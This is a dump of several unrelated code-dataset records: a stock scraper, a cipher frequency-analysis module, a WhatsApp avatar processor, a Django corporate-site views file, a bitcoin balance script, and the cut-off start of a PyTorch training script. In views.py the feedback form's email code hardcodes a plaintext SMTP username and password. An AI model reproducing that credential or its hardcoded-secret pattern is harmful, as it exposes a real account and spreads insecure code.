username, '\n f'as there is no username in {arn}')\n return None\n\n def _infer_scratch_s3_url(self,\n boto3_session: Optional['boto3.session.Session']) -> Optional[str]:\n if \"SCRATCH_S3_URL\" in os.environ:\n return os.environ[\"SCRATCH_S3_URL\"]\n\n config_result = get_config('records_mover', 'bluelabs')\n cfg = config_result.config\n if 'aws' in cfg:\n aws_cfg = cfg['aws']\n s3_scratch_url: Optional[str] = aws_cfg.get('s3_scratch_url')\n if s3_scratch_url is not None:\n return s3_scratch_url\n else:\n s3_scratch_url_prefix: Optional[str] =\\\n aws_cfg.get('s3_scratch_url_appended_with_iam_username')\n if s3_scratch_url_prefix is not None:\n if boto3_session is None:\n logger.warning('Cannot generate S3 scratch URL with IAM username, '\n 'as I have no IAM username')\n return None\n return self._append_aws_username_to_bucket(s3_scratch_url_prefix,\n boto3_session)\n else:\n logger.debug('No S3 scratch bucket config found')\n return None\n else:\n logger.debug('No config ini file found')\n return None\n\n def default_scratch_s3_url(self) -> Optional[str]:\n if self._scratch_s3_url is PleaseInfer.token:\n self._scratch_s3_url = self._infer_scratch_s3_url(self.default_boto3_session())\n return self._scratch_s3_url\n","sub_path":"records_mover/creds/base_creds.py","file_name":"base_creds.py","file_ext":"py","file_size_in_byte":9677,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"275515203","text":"#!/usr/bin/python\n#test: {'scl':['1316','1708'],'scg':{'1316':'21','1708':'21'},'level':'A1'} false\nimport twstock\nimport pymongo\nimport sys\nimport logging\nimport requests\n\nfrom datetime import timedelta, date, datetime\nfrom requests.adapters import HTTPAdapter\nfrom requests.packages.urllib3.util.ssl_ import create_urllib3_context\n\nimport json\nimport configparser\nconfig = configparser.ConfigParser()\nconfig.read(\"../config.ini\")\n\nclass SSLContextAdapter(HTTPAdapter):\n def init_poolmanager(self, *args, **kwargs):\n context = create_urllib3_context()\n kwargs['ssl_context'] = context\n context.load_default_certs() # this loads the OS defaults on Windows\n return super(SSLContextAdapter, self).init_poolmanager(*args, **kwargs)\n\ndef get(scg, level, db, logging, debug):\n \n collname = \"\"\n if debug:\n collname = \"realtime_\"\n else:\n collname = \"realtime\"\n collRT = db[collname]\n\n try:\n SESSION_URL = config['stock']['url']\n req = requests.Session()\n adapter = SSLContextAdapter()\n req.mount(SESSION_URL, adapter)\n #res = req.get(SESSION_URL, timeout=(5, 5), verify=True)\n scl = list(scg.keys())\n stock = twstock.realtime.get(scl, req, {}, logging)\n if stock[\"success\"]:\n logging.info(\" get success:\" + str(len(stock)))\n #轉換格式\n for code, v in stock.items():\n #logging.debug(str(code) + ' ' + str(v))\n if isinstance(v, dict) and v['success']:\n try:\n del v['info']\n del v['org']\n rlTime = v['realtime']\n del v['realtime']\n v.update(rlTime)\n v.update({'group':scg[code]})\n #存入db\n #新的訊息有可能沒有交易,新增一筆的方式是要張數有增加\n #因為是快照5秒,資料會亂跳,改用看time時間的方式\n #看time 會���太多不必要的資料,改成交易量等於不是大於\n #query = {\"code\":v['code'],\"date\":v['date'],\"accumulate_trade_volume\":{\"$gte\":v['accumulate_trade_volume']}}\n #query = {\"code\":v['code'],\"date\":v['date'],\"final_time\":{\"$eq\":v['final_time']}}\n query = {\"code\":v['code'],\"date\":v['date'],\"accumulate_trade_volume\":{\"$eq\":v['accumulate_trade_volume']}}\n value = { \"$set\": v}\n #l = collRT.find({\"code\":v['code'],\"date\":v['date']}).sort('final_time', 1).limit(1)\n #logging.debug(\" last:\" + str(l[0]))\n \n if \"final_trade_volume\" not in v:\n #logging.debug(\" \" + str({\"accumulate_trade_volume\":v['accumulate_trade_volume'] , \"trade_volume\":v['trade_volume']} ))\n if v['trade_volume'] > v['accumulate_trade_volume']:\n logging.error(\" t_v > a_t_v : \" + str(v))\n #lquery = {\"code\":v['code'],\"date\":v['date']}\n #l = collRT.find(lquery).sort({'final_time':1}).limit(1)\n collRT.update_one(query, value, upsert=True)\n else:\n query = {\"code\":v['code'],\"date\":v['date'],\"final_trade_volume\":v['final_trade_volume']}\n #logging.debug(\" \" + str({\"final_trade_volume\":v['final_trade_volume'] , \"trade_volume\":v['trade_volume']}))\n value = {\"$set\":v}\n collRT.update_one(query, value, upsert=True)\n except BaseException as e:\n logging.error(\" \" + level + \" BaseException :\" + str(e))\n else:\n if str(code) != 'success':\n logging.error(\" \" + level + \" code :\" + str(code) + \" get false \" + str(v))\n else:\n logging.error(\" get \" + level + \" error:\" + stock['rtmessage'])\n \n except BaseException as e:\n logging.error(\"stock fal :\" + str(e))\n \n \n\nif __name__ == '__main__':\n args_ = sys.argv[1]\n debug = sys.argv[2]\n #print(type(args_))\n args = json.loads(args_.replace(\"'\", \"\\\"\"))\n #print(len(args['scl']))\n if 'level' not in args:\n sys.exit(0)\n stockCodeLevel = args['level']\n #if 'scl' not in args:\n # sys.exit(0)\n #stockCodeList = args['scl']\n if 'scg' not in args:\n sys.exit(0)\n stockCodeGroup = args['scg']\n\n if config['stock']['logginglevel'] == 'DEBUG':\n level = logging.DEBUG\n elif config['stock']['logginglevel'] == 'INFO':\n level = logging.INFO\n elif config['stock']['logginglevel'] == 'ERROR':\n level = logging.ERROR\n\n logging.basicConfig(level=level,\n format='%(asctime)s - %(levelname)s : %(message)s',\n datefmt='%Y-%m-%dT %H:%M:%S',\n filename=config['stock']['logfilelink'] + stockCodeLevel + '_' + '{:%Y-%m-%d}'.format(datetime.now()) + '.log' )\n\n client = pymongo.MongoClient(config['stock']['dbConn'])\n db = client[\"twStock\"]\n db.authenticate(config['stock']['dbuser'],config['stock']['dbpass'])\n \n get(stockCodeGroup, stockCodeLevel, db, logging, debug)\n sys.exit(0)\n ","sub_path":"stock/app/stock2.py","file_name":"stock2.py","file_ext":"py","file_size_in_byte":5488,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"70180747","text":"# -*- coding: utf-8 -*-\n\"\"\"\nMòdul per desencriptar un text encriptat fent servir la mateixa clau a través de l'anàlisi d'aparició dels caràcters\n\"\"\"\n\nimport operator\nimport string\n\ndef Single_letter_eng(text, mostra_num=False):\n \"\"\"\n Returns most possible values for each letter, using single letters only. If mostra_num = True, returns the number appearances of each letter.\n \"\"\"\n llista_paraules = string.split(string.upper(text))\n Dic_Res = {}\n llista_frequency = list('ETAOINSHRDLCUMWFGYPBVKJXQZ')\n total = 0\n i = 0\n for element in string.uppercase:\n Dic_Res[element] = 0\n for paraula in llista_paraules:\n for lletra in paraula:\n Dic_Res[lletra] += 1\n total += 1\n if mostra_num == False:\n llista_resultat = sorted(Dic_Res.values(), reverse=True)\n for valor in llista_resultat:\n for key in Dic_Res.keys():\n if Dic_Res[key] == valor:\n Dic_Res[key] = llista_frequency[i]\n i += 1\n return Dic_Res\n Sorted_Res = sorted(Dic_Res.items(), key=operator.itemgetter(1), reverse = True)\n return Sorted_Res\n\ndef Duo_letter_eng(text, filtre = 10):\n \"\"\"\n Returns the most used two-letter words. Use filtre to set the minimum value to appear on the list\n \"\"\"\n text = string.upper(text)\n text = text.replace(' ','')\n llista_lletres = list(text)\n Dic_Res = {}\n for i in range(len(llista_lletres)-1):\n A_Duo = llista_lletres[i]+llista_lletres[i+1]\n if A_Duo in Dic_Res.keys():\n Dic_Res[A_Duo] += 1\n else:\n Dic_Res[A_Duo] = 1\n for key in Dic_Res.keys():\n if Dic_Res[key] < filtre:\n del Dic_Res[key]\n Sorted_Res = sorted(Dic_Res.items(), key=operator.itemgetter(1), reverse = True)\n return Sorted_Res\n\ndef Trio_letter_eng(text, filtre = 10):\n \"\"\"\n Returns the most used three-letter words. Use filter to set the minimum value to appear on the list\n \"\"\"\n text = string.upper(text)\n text = text.replace(' ','')\n llista_lletres = list(text)\n Dic_Res = {}\n for i in range(len(llista_lletres)-2):\n A_Trio = llista_lletres[i]+llista_lletres[i+1]+llista_lletres[i+2]\n if A_Trio in Dic_Res.keys():\n Dic_Res[A_Trio] += 1\n else:\n Dic_Res[A_Trio] = 1\n for key in Dic_Res.keys():\n if Dic_Res[key] < filtre:\n del Dic_Res[key]\n Sorted_Res = sorted(Dic_Res.items(), key=operator.itemgetter(1), reverse = True)\n return Sorted_Res\n","sub_path":"Frequency_Analysis.py","file_name":"Frequency_Analysis.py","file_ext":"py","file_size_in_byte":2541,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"538709043","text":"from models import *\nfrom database import db_session\nfrom pathlib import Path\n\nclass ProcessAvatars:\n def __init__(self, read_source):\n self.read_source = read_source\n\n def run(self):\n self.rename_avatars()\n participants = db_session.query(Participant).filter_by(\n read_source_id=self.read_source.id).all()\n for participant in participants:\n participant.avatar = self.get_avatar(\n participant.identifier, self.read_source.folder)\n db_session.add(participant)\n\n chats = db_session.query(Chat).filter_by(read_source_id=self.read_source.id).all()\n for chat in chats:\n chat.avatar = self.get_avatar(\n chat.identifier, self.read_source.folder)\n db_session.add(chat)\n db_session.commit()\n\n def rename_avatars(self):\n folders = ['Avatars', 'Profile']\n for folder in folders:\n if os.path.exists(folder):\n for f in os.listdir(folder):\n p = Path(folder, f)\n if len(p.suffix) < 3:\n p.rename(p.with_suffix('.jpg'))\n\n def get_avatar(self, identifier, device_folder):\n if not identifier:\n return\n identifier = self.get_short_identifier(identifier)\n folders = [os.path.join(device_folder, 'Avatars'), os.path.join(device_folder, 'Profile')]\n for folder in folders:\n if os.path.exists(folder):\n for f in os.listdir(folder):\n if identifier in f:\n return os.path.join(folder, f)\n\n def get_short_identifier(self, identifier):\n if \"@s.whatsapp.net\" in identifier or \"@g.us\" in identifier:\n return identifier.split(\"@\")[0]\n elif \"@\" in identifier and \"whatsapp\" in identifier:\n parts = identifier.split(\"@\")\n return parts[0]\n return identifier","sub_path":"processors/process_avatars.py","file_name":"process_avatars.py","file_ext":"py","file_size_in_byte":1933,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"50253288","text":"from django.shortcuts import render, redirect\nfrom django.http import HttpRequest, HttpResponse, Http404\nfrom django.views.generic import TemplateView\nfrom django.db.models import Prefetch, Q, Aggregate, CharField\nfrom django.contrib import messages\nimport re, random\nimport sys, os\nfrom project_xion_2018 import custom_function\n\n\nclass GroupConcat(Aggregate):\n function = 'GROUP_CONCAT'\n template = '%(function)s(%(distinct)s%(expressions)s%(ordering)s%(separator)s)'\n\n def __init__(self, expression, distinct=False, ordering=None, separator=',', **extra):\n super(GroupConcat, self).__init__(\n expression,\n distinct='DISTINCT ' if distinct else '',\n ordering=' ORDER BY %s' % ordering if ordering is not None else '',\n separator=' SEPARATOR \"%s\"' % separator,\n output_field=CharField(),\n **extra\n )\n\n# Home\n#-------------------------------------------------------------\nclass IndexView(TemplateView):\n def get(self, request, **kwargs):\n try:\n from .models import Page_Header_Image\n homepage_slides = Page_Header_Image.objects.filter(publish__exact='1').order_by('sorting','title').exclude(title__exact = 'Feedback Page Background Image')\n \n return render(\n request,\n 'index.html',\n context={ \n 'page_type':\"Index\",\n 'page_title':\"\",\n 'homepage_slides':homepage_slides,\n },\n )\n except:\n custom_function.logger(sys._getframe().f_code.co_name, sys.exc_info(), className = self.__class__.__name__, fileName=os.path.split(sys._getframe().f_code.co_filename)[1])\n raise Http404\n\n#-------------------------------------------------------------\n\n# Disclaimer\n#-------------------------------------------------------------\nclass DisclaimerView(TemplateView):\n \n def get(self, request, **kwargs):\n try:\n from .models import Disclaimer\n disclaimer = Disclaimer.objects.filter(publish__exact='1').order_by('id').values('name','body_text').last()\n\n return render(\n request,\n 'blank.html',\n context={ \n 'page_type':disclaimer['name'],\n 'page_title':disclaimer['name'],\n 'body_text':disclaimer['body_text'],\n },\n )\n except:\n custom_function.logger(sys._getframe().f_code.co_name, sys.exc_info(), className = self.__class__.__name__, fileName=os.path.split(sys._getframe().f_code.co_filename)[1])\n raise Http404\n#-------------------------------------------------------------\n\n# Pdpa\n#-------------------------------------------------------------\nclass PdpaView(TemplateView):\n def get(self, request, **kwargs):\n try:\n from .models import Pdpa\n pdpa = Pdpa.objects.filter(publish__exact='1').order_by('id').values('name','body_text').last()\n\n if pdpa['body_text'] and len(pdpa['body_text']) > 10:\n return render(\n request,\n 'blank.html',\n context={ \n 'page_type':pdpa['name'],\n 'page_title':pdpa['name'],\n 'body_text':pdpa['body_text'],\n },\n )\n except:\n custom_function.logger(sys._getframe().f_code.co_name, sys.exc_info(), className = self.__class__.__name__, fileName=os.path.split(sys._getframe().f_code.co_filename)[1])\n return redirect('http://www.group.ong-ong.com/pdpa')\n#-------------------------------------------------------------\n# About\n#-------------------------------------------------------------\nclass AboutView(TemplateView):\n def get(self, request, **kwargs):\n try:\n page_title = \"About Us\"\n from .models import About_Page, About_Image_Group, About_Image\n about_info = About_Page.objects.filter(publish__exact='1').order_by('sorting','title').prefetch_related(\n Prefetch(\n \"about_image_group\",\n queryset=About_Image_Group.objects.filter(publish__exact='1').order_by('sorting','title').prefetch_related(\n Prefetch(\n \"about_image\",\n queryset=About_Image.objects.filter(publish__exact='1').order_by('sorting'),\n to_attr=\"image\"\n )\n ),\n to_attr=\"image_group\"\n )\n )\n\n return render(\n request,\n 'about.html',\n context={ \n 'page_type':page_title,\n 'page_title':page_title,\n 'about_info':about_info,\n\n },\n )\n except:\n custom_function.logger(sys._getframe().f_code.co_name, sys.exc_info(), className = self.__class__.__name__, fileName=os.path.split(sys._getframe().f_code.co_filename)[1])\n raise Http404\n#------------------------------------------------------------- \n# Location / Office\n#-------------------------------------------------------------\nclass LocationView(TemplateView):\n def get(self, request, **kwargs):\n try:\n page_title = \"Offices\"\n from .models import Office\n page_info = Office.objects.filter(publish__exact='1').order_by('sorting','title').all()\n\n \n return render(\n request,\n 'location.html',\n context={ \n 'page_type':page_title,\n 'page_title':page_title,\n 'page_info':page_info,\n },\n )\n except:\n custom_function.logger(sys._getframe().f_code.co_name, sys.exc_info(), className = self.__class__.__name__, fileName=os.path.split(sys._getframe().f_code.co_filename)[1])\n raise Http404\n#-------------------------------------------------------------\n\n\n# Project\n#-------------------------------------------------------------\nclass ProjectView(TemplateView):\n def get(self, request, **kwargs):\n try:\n page_title = \"Projects\"\n from django_countries import countries\n from .models import List_Type, List_Service, Project\n \n type_list = List_Type.objects.filter(publish__exact='1').order_by('sorting','title').all()\n service_list = List_Service.objects.filter(publish__exact='1').order_by('sorting','title').all()\n country_list = Project.objects.filter(publish__exact='1').values('country').distinct().order_by('country')\n project_list = Project.objects.filter(publish__exact='1').order_by('sorting','title').all()\n\n for cn in country_list:\n cn['name'] = dict(countries)[cn['country']] #\n \n return render(\n request,\n 'project.html',\n context={ \n 'page_type':\"Projects\",\n 'page_title':page_title,\n 'type_list':type_list,\n 'service_list':service_list,\n 'country_list':country_list,\n 'project_list':project_list,\n },\n )\n except:\n custom_function.logger(sys._getframe().f_code.co_name, sys.exc_info(), className = self.__class__.__name__, fileName=os.path.split(sys._getframe().f_code.co_filename)[1])\n raise Http404\n\n\nclass ProjectDetailView(TemplateView):\n def get(self, request, **kwargs):\n try:\n if kwargs['slug']:\n from .models import Project, Project_People\n project_info = Project.objects.get(publish__exact='1', slug__exact=kwargs['slug'])\n director_list = Project_People.objects.filter(publish__exact='1', project__exact=project_info.id).order_by('sorting', 'people__name').all()\n service_list = Project.objects.filter(publish__exact='1', slug__exact=kwargs['slug']).values('service__title').all()\n for service in service_list:\n if service['service__title'] is None:\n service_list = {}\n page_title = project_info.title\n if project_info:\n return render(\n request,\n 'project_detail.html',\n context={ \n 'page_type':\"Projects\",\n 'page_title':page_title,\n 'project_info':project_info,\n 'director_list':director_list,\n 'service_list':service_list,\n },\n )\n except:\n custom_function.logger(sys._getframe().f_code.co_name, sys.exc_info(), className = self.__class__.__name__, fileName=os.path.split(sys._getframe().f_code.co_filename)[1])\n raise Http404\n#-------------------------------------------------------------\n\n# Search\n#-------------------------------------------------------------\nclass SearchView(TemplateView):\n def get(self, request, **kwargs):\n try:\n page_title = \"Search\"\n return render(\n request,\n 'search.html',\n context={\n 'page_type':page_title,\n 'page_title':page_title\n }\n )\n except:\n custom_function.logger(sys._getframe().f_code.co_name, sys.exc_info(), className = self.__class__.__name__, fileName=os.path.split(sys._getframe().f_code.co_filename)[1])\n raise Http404\n\n\nclass ProjectSearch():\n def search_filter(request):\n try:\n if 'page' in request.GET:\n page = request.GET['page']\n\n if 'Project' in page or 'Index' in page or 'Search' in page:\n kwargs = {}\n\n # Dynamic Filtering Option. 'if True' Just use to group all filter option for easy view on IDE\n if True:\n if 'Index' in page:\n kwargs['enable_on_homepage__exact'] = 1\n kwargs['sorting__isnull'] = False\n\n try:\n type = request.GET['type']\n if len(type) > 0:\n kwargs['type__title__icontains'] = type\n except:\n type = \"\"\n\n try:\n service = request.GET['service']\n if len(service) > 0:\n kwargs['service__title__icontains'] = service\n except:\n service = \"\"\n\n try:\n country = request.GET['country']\n if len(country) > 0:\n kwargs['country__icontains'] = country\n except:\n country = \"\"\n\n try:\n search_keyword = request.GET['search_keyword']\n if len(search_keyword) > 1:\n kwargs['title__icontains'] = search_keyword\n except:\n search_keyword = \"\"\n\n from .models import Project, Setting\n projects_list = Project.objects.filter(publish__exact='1', **kwargs).distinct().order_by('title')\n\n if 'Project' in page:\n projects_setting = Setting.objects.values('value', 'hint').get(name__exact='web_setting_project_page')\n \n show_quantity = int(projects_setting['value'])\n show_class = projects_setting['hint']\n elif 'Index' in page:\n projects_setting = Setting.objects.values('value', 'hint').get(name__exact='web_setting_project_mainpage')\n show_quantity = int(projects_setting['value'])\n show_class = projects_setting['hint']\n\n #Set to Dynamic & Random display or Fixed \n\n if True:\n projects_list = sorted(projects_list, key=lambda o: (o.sorting, o.title))\n projects_list = projects_list[:show_quantity]\n else:\n projects_list = sorted(projects_list[:show_quantity*2], key=lambda x: random.random())\n projects_list = projects_list[:show_quantity]\n projects_list = sorted(projects_list, key=lambda o: (o.sorting, o.title))\n\n else:\n show_quantity = None\n show_class = None\n\n return render(\n request, \n 'project_card.html',\n context={\n 'page': page, \n 'projects_list': projects_list, \n 'show_quantity': show_quantity, \n 'show_class': show_class, \n }\n )\n except:\n custom_function.logger(sys._getframe().f_code.co_name, sys.exc_info(), className = self.__class__.__name__, fileName=os.path.split(sys._getframe().f_code.co_filename)[1])\n return render(request, 'search_html_filter.html', {'projects_list': []})\n#-------------------------------------------------------------\n\n# Feedback\n#-------------------------------------------------------------\nclass FeedbackView(TemplateView):\n def get(self, request, **kwargs):\n try:\n page_title = \"Feedback\"\n from .models import List_Feedback_Enquiry_Type, Office, Page_Header_Image\n feedback_list = List_Feedback_Enquiry_Type.objects.filter(publish__exact='1').order_by('sorting', 'type')\n page_info = Office.objects.filter(publish__exact='1').order_by('sorting','title').all()\n homepage_slides = Page_Header_Image.objects.filter(publish__exact='1', title__exact = 'Feedback Page Background Image').order_by('sorting','title')[0]\n \n \n return render(\n request,\n 'feedback.html',\n context={\n 'page_type':page_title,\n 'page_title':page_title,\n 'feedback_list':feedback_list,\n 'page_info':page_info,\n\t\t\t\t\t\t'homepage_slides':homepage_slides,\n }\n )\n except:\n custom_function.logger(sys._getframe().f_code.co_name, sys.exc_info(), className = self.__class__.__name__, fileName=os.path.split(sys._getframe().f_code.co_filename)[1])\n raise Http404\n\n def post(self, request, **kwargs):\n try:\n page_title = \"Feedback\"\n from .models import Setting, Feedback, List_Feedback_Enquiry_Type, Page_Header_Image, Office\n feedback_list = List_Feedback_Enquiry_Type.objects.filter(publish__exact='1').order_by('sorting', 'type')\n page_info = Office.objects.filter(publish__exact='1').order_by('sorting','title').all()\n homepage_slides = Page_Header_Image.objects.filter(publish__exact='1', title__exact = 'Feedback Page Background Image').order_by('sorting','title')[0]\n\n if request.method == 'POST':\n b_process = True\n tf_name = request.POST.get('tf_name', '')\n tf_company = request.POST.get('tf_company', '')\n tf_contact = request.POST.get('tf_contact', '')\n tf_co_code = request.POST.get('tf_co_code', '')\n tf_area_code = request.POST.get('tf_area_code', '')\n tf_comments = request.POST.get('tf_comments', '')\n tf_email = request.POST.get('tf_email', '')\n tf_enquiry_type = request.POST.get('tf_enquiry_type', '')\n cb_pdpa = request.POST.get('cb_pdpa', '')\n\n \n user_ip = get_client_ip(request);\n\n response_json={\n \"tf_name\" : {\n \"value\" : tf_name,\n \"message\" : '',\n },\n \"tf_company\" : {\n \"value\" : tf_company,\n \"message\" : '',\n },\n \"tf_contact\" : {\n \"value\" : tf_contact,\n \"message\" : '',\n },\n \"tf_co_code\" : {\n \"value\" : tf_co_code,\n \"message\" : '',\n },\n \"tf_area_code\" : {\n \"value\" : tf_area_code,\n \"message\" : '',\n },\n \"tf_comments\" : {\n \"value\" : tf_comments,\n \"message\" : '',\n },\n \"tf_email\" : {\n \"value\" : tf_email,\n \"message\" : '',\n },\n \"tf_enquiry_type\" : {\n \"value\" : int(tf_enquiry_type),\n \"message\" : '',\n },\n \"cb_pdpa\" : {\n \"value\" : cb_pdpa,\n \"message\" : '',\n },\n }\n\n #Validation\n if b_process:\n # Name-----------------------------------------------------------------------------------------------\n if len(tf_name) < 3:\n b_process = False\n response_json['tf_name']['message'] = response_json['tf_name']['message']+' Your Name Is Too Short. '\n\n if len(tf_name) > 100:\n b_process = False\n response_json['tf_name']['message'] = response_json['tf_name']['message']+' Your Name Is Too Long. '\n\n if not re.match(r'^[0-9a-zA-Z ,.&@()+\\'\\/\\s-]*$', tf_name):\n b_process = False\n response_json['tf_name']['message'] = response_json['tf_name']['message']+' Your Name Contain Invalid Sysmbol. '\n\n\n # company-----------------------------------------------------------------------------------------------\n if len(tf_company) > 0 and len(tf_company) < 3:\n b_process = False\n response_json['tf_company']['message'] = response_json['tf_company']['message']+\" Your Company's Name Is Too Short. \"\n\n if not re.match(r'^[0-9a-zA-Z ,.!&@()+\\'\\/\\s-]*$', tf_company):\n b_process = False\n response_json['tf_company']['message'] = response_json['tf_company']['message']+\" Your Company's Name Contain Invalid Sysmbol. \"\n\n # contact-----------------------------------------------------------------------------------------------\n if len(tf_contact) >0 or len(tf_co_code) >0 or len(tf_area_code) >0:\n if len(tf_contact) <= 4 or len(tf_co_code) == 0 or len(tf_area_code) == 0:\n b_process = False\n response_json['tf_contact']['message'] = response_json['tf_contact']['message']+\" Please fill in Country Code, Area Code and Contact Number. \"\n\n if not re.match(r'^\\s*\\d*\\s*$', tf_co_code):\n b_process = False\n response_json['tf_contact']['message'] = response_json['tf_contact']['message']+\" Invalid Country Code. \"\n if not re.match(r'^\\s*\\d*\\s*$', tf_area_code):\n b_process = False\n response_json['tf_contact']['message'] = response_json['tf_contact']['message']+\" Invalid Area Code. \"\n if not re.match(r'^\\s*\\d*\\s*$', tf_contact):\n b_process = False\n response_json['tf_contact']['message'] = response_json['tf_contact']['message']+\" Invalid Contact Number. \"\n \n # contact-----------------------------------------------------------------------------------------------\n if not re.match(r'^[0-9a-zA-Z ,.@()+\\'\\/\\s-]*$', tf_comments):\n b_process = False\n response_json['tf_comments']['message'] = \" Comments is invalid, Please write your message.\"\n\n # Email-----------------------------------------------------------------------------------------------\n if len(tf_email) <=5 or not re.match(r'[\\w\\.-]+@[\\w\\.-]+(\\.[\\w]+)+', tf_email):\n b_process = False\n response_json['tf_email']['message'] = \"Email is invalid\"\n \n if cb_pdpa != \"on\":\n b_process = False\n response_json['cb_pdpa']['message'] = \"You must agree with Personal Data Protection Act (PDPA) before submitting.\"\n\n if len(tf_enquiry_type)==0:\n b_process = False\n response_json['tf_enquiry_type']['message'] = \" Invalid enquiry type.\"\n \n if b_process == True:\f\n if tf_name and tf_email:\n feedback_email_subject = 'Others'\n feedback_list_type = List_Feedback_Enquiry_Type.objects.get(publish__exact='1', id__exact=tf_enquiry_type)\n\n #Save feedback form\n feedback = Feedback()\n feedback.name = tf_name\n feedback.compname = tf_company\n feedback.contact = tf_contact\n feedback.country_code = tf_co_code\n feedback.area_code = tf_area_code\n feedback.email = tf_email\n feedback.type_enquiry = feedback_list_type\n feedback.description = tf_comments\n feedback.details_trail = user_ip\n feedback.save()\n \n try:\n #for email sending\n\n from django.conf import settings\n if settings.DEBUG == False:\n import smtplib\n from email.mime.multipart import MIMEMultipart\n from email.mime.text import MIMEText\n\n website_title = Setting.objects.filter(name__exact='web_setting_title').first()\n website_title_value = \"\"\n if website_title:\n website_title_value = website_title.value\n\n #Email feedback form\n #Default email to send\n if feedback_list_type:\n email_to = feedback_list_type.email_to\n feedback_email_subject = feedback_list_type.type\n\n if email_to and len(email_to) > 5:\n pass\n else:\n default_feedback_email = Setting.objects.get(name__exact='feedback_to_email')\n if default_feedback_email:\n email_to = default_feedback_email.value\n\n if email_to and len(email_to) > 5:\n pass\n else:\n raise ValueError('Feedback Email Address Not Found') \n\n mailserver = smtplib.SMTP('smtp.office365.com',587)\n # identify ourselves to smtp gmail client\n mailserver.ehlo()\n # secure our email with tls encryption\n mailserver.starttls()\n # re-identify ourselves as an encrypted connection\n mailserver.ehlo()\n mailserver.login('wwwuser@ong-ong.com', 'n1pp0n1chib@n')\n\n msg = MIMEMultipart()\n msg['Subject'] = '%s - Corporate Website Contact Form for Enquiry Type [%s]' % (website_title_value, feedback_email_subject)\n msg['From'] = 'wwwuser@ong-ong.com'\n msg['To'] = email_to\n message = \"Name : %s\\nEmail : %s\\nContact Number : [%s][%s] %s\\nComments : %s\\n\\n\"% ( tf_name, tf_email, tf_co_code, tf_area_code, tf_contact, tf_comments )\n msg.attach(MIMEText(message))\n\n mailserver.sendmail(msg['From'] , msg['To'], msg.as_string())\n mailserver.quit()\n except:\n custom_function.logger(sys._getframe().f_code.co_name, sys.exc_info(), className = self.__class__.__name__, fileName=os.path.split(sys._getframe().f_code.co_filename)[1])\n #raise Exception(sys.exc_info()) \n pass\n\n messages.success(request, \"Thanks for your feedback\")\n return redirect('/feedback/')\n \n elif b_process == False:\n messages.warning(request, 'Error while submit feedback form, Please try again.')\n return render(request, 'feedback.html',\n context={\n 'page_type':page_title,\n 'page_title':page_title,\n 'feedback_response':response_json, \n 'feedback_list':feedback_list,\n\t\t\t\t\t\t\t\t\t\t'page_info':page_info,\n\t\t\t 'homepage_slides':homepage_slides,\n \n }\n )\n except:\n messages.warning(request, 'Error while submit feedback form, Please try again.')\n custom_function.logger(sys._getframe().f_code.co_name, sys.exc_info(), className = self.__class__.__name__, fileName=os.path.split(sys._getframe().f_code.co_filename)[1])\n return redirect('/feedback/')\n#-------------------------------------------------------------\n\n\n\n# Custom Function\n#-------------------------------------------------------------\ndef get_client_ip(request):\n try:\n from ipware import get_client_ip\n ip, is_routable = get_client_ip(request)\n USER_AGENT = request.META['HTTP_USER_AGENT']\n\n if ip :\n if is_routable:\n ip = \"The client's IP address is publicly routable on the Internet : \" +str(ip)\n else:\n ip = \"The client's IP address is private : \" +str(ip)\n\n return ip + \"\\nHTTP_USER_AGENT : \" + USER_AGENT\n else:\n return \"HTTP_USER_AGENT : \" + USER_AGENT\n except:\n custom_function.logger(sys._getframe().f_code.co_name, sys.exc_info(), className = self.__class__.__name__, fileName=os.path.split(sys._getframe().f_code.co_filename)[1])\n return ''\n#-------------------------------------------------------------\n\n","sub_path":"Immortal_Origin/project_xion_2018/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":29293,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"339171321","text":"#!/usr/bin/env python3\n\n# How to get btc addresses from wallet-tool.py:\n# python2 wallet-tool.py wallet.json displayall \\\n# | grep -e \" m/./././...\" | cut -d' ' -f 4\n\nimport sys\nimport json\nimport shelve\nfrom urllib.request import urlopen\n\nBASE = 'https://blockr.io/api/v1/'\nURLA = BASE + 'address/info/'\n\ncache = shelve.open('cache.shelve')\ndef get(url):\n if url in cache:\n return cache[url]\n #print('D:',url)\n o = json.loads(urlopen(url).read().decode('utf-8'))\n cache[url] = o\n #print('D:',js)\n return o\ngeta = lambda addr: get(URLA+addr)\n\n\naddrs = sys.stdin.read().split()\nbalance = 0\nN = 20\n\nalladdrs = '-a' in sys.argv[1:] or '--all' in sys.argv[1:]\nbonly = '-b' in sys.argv[1:] or '--balance' in sys.argv[1:]\n\nwhile addrs:\n oo = geta(','.join(addrs[:N]))\n addrs = addrs[N:]\n\n assert oo['status']=='success'\n oo = oo['data']\n \n for o in oo:\n b = o['balance']\n balance += b\n\n if b or alladdrs:\n if bonly:\n print('%.8f'%b)\n else:\n print(o['address'],'%.8f'%b)\n\ncache.close()\nprint('balance %.8f'%balance)\n","sub_path":"scripts/joinmarket/balance.py","file_name":"balance.py","file_ext":"py","file_size_in_byte":1127,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"290069901","text":"import numpy as np\r\nimport os, sys, time\r\nimport torch\r\nfrom torch import nn, optim\r\nfrom torch.utils.data import DataLoader, Dataset\r\nfrom torchvision.models.resnet import resnet18\r\nfrom tqdm import tqdm\r\nfrom typing import Dict\r\n\r\nfrom l5kit.data import LocalDataManager, ChunkedDataset\r\nfrom l5kit.dataset import AgentDataset, EgoDataset\r\nfrom l5kit.rasterization import build_rasterizer\r\nfrom l5kit.geometry import *\r\n\r\nfrom src.dataset import *\r\n\r\nimport pytorch_lightning as pl\r\nfrom pytorch_lightning import Trainer\r\nfrom pytorch_lightning.callbacks import ModelCheckpoint, LearningRateMonitor\r\nfrom torch.utils.data import Dataset, DataLoader\r\nimport bz2, pickle\r\n\r\nimport torchvision\r\nfrom src.loss import *\r\n\r\nfrom efficientnet_pytorch.utils import Conv2dStaticSamePadding\r\nfrom efficientnet_pytorch import EfficientNet\r\n\r\n#os.environ[\"CUDA_VISIBLE_DEVICES\"]=\"0\"\r\ndevice = torch.device(\"cuda\" if 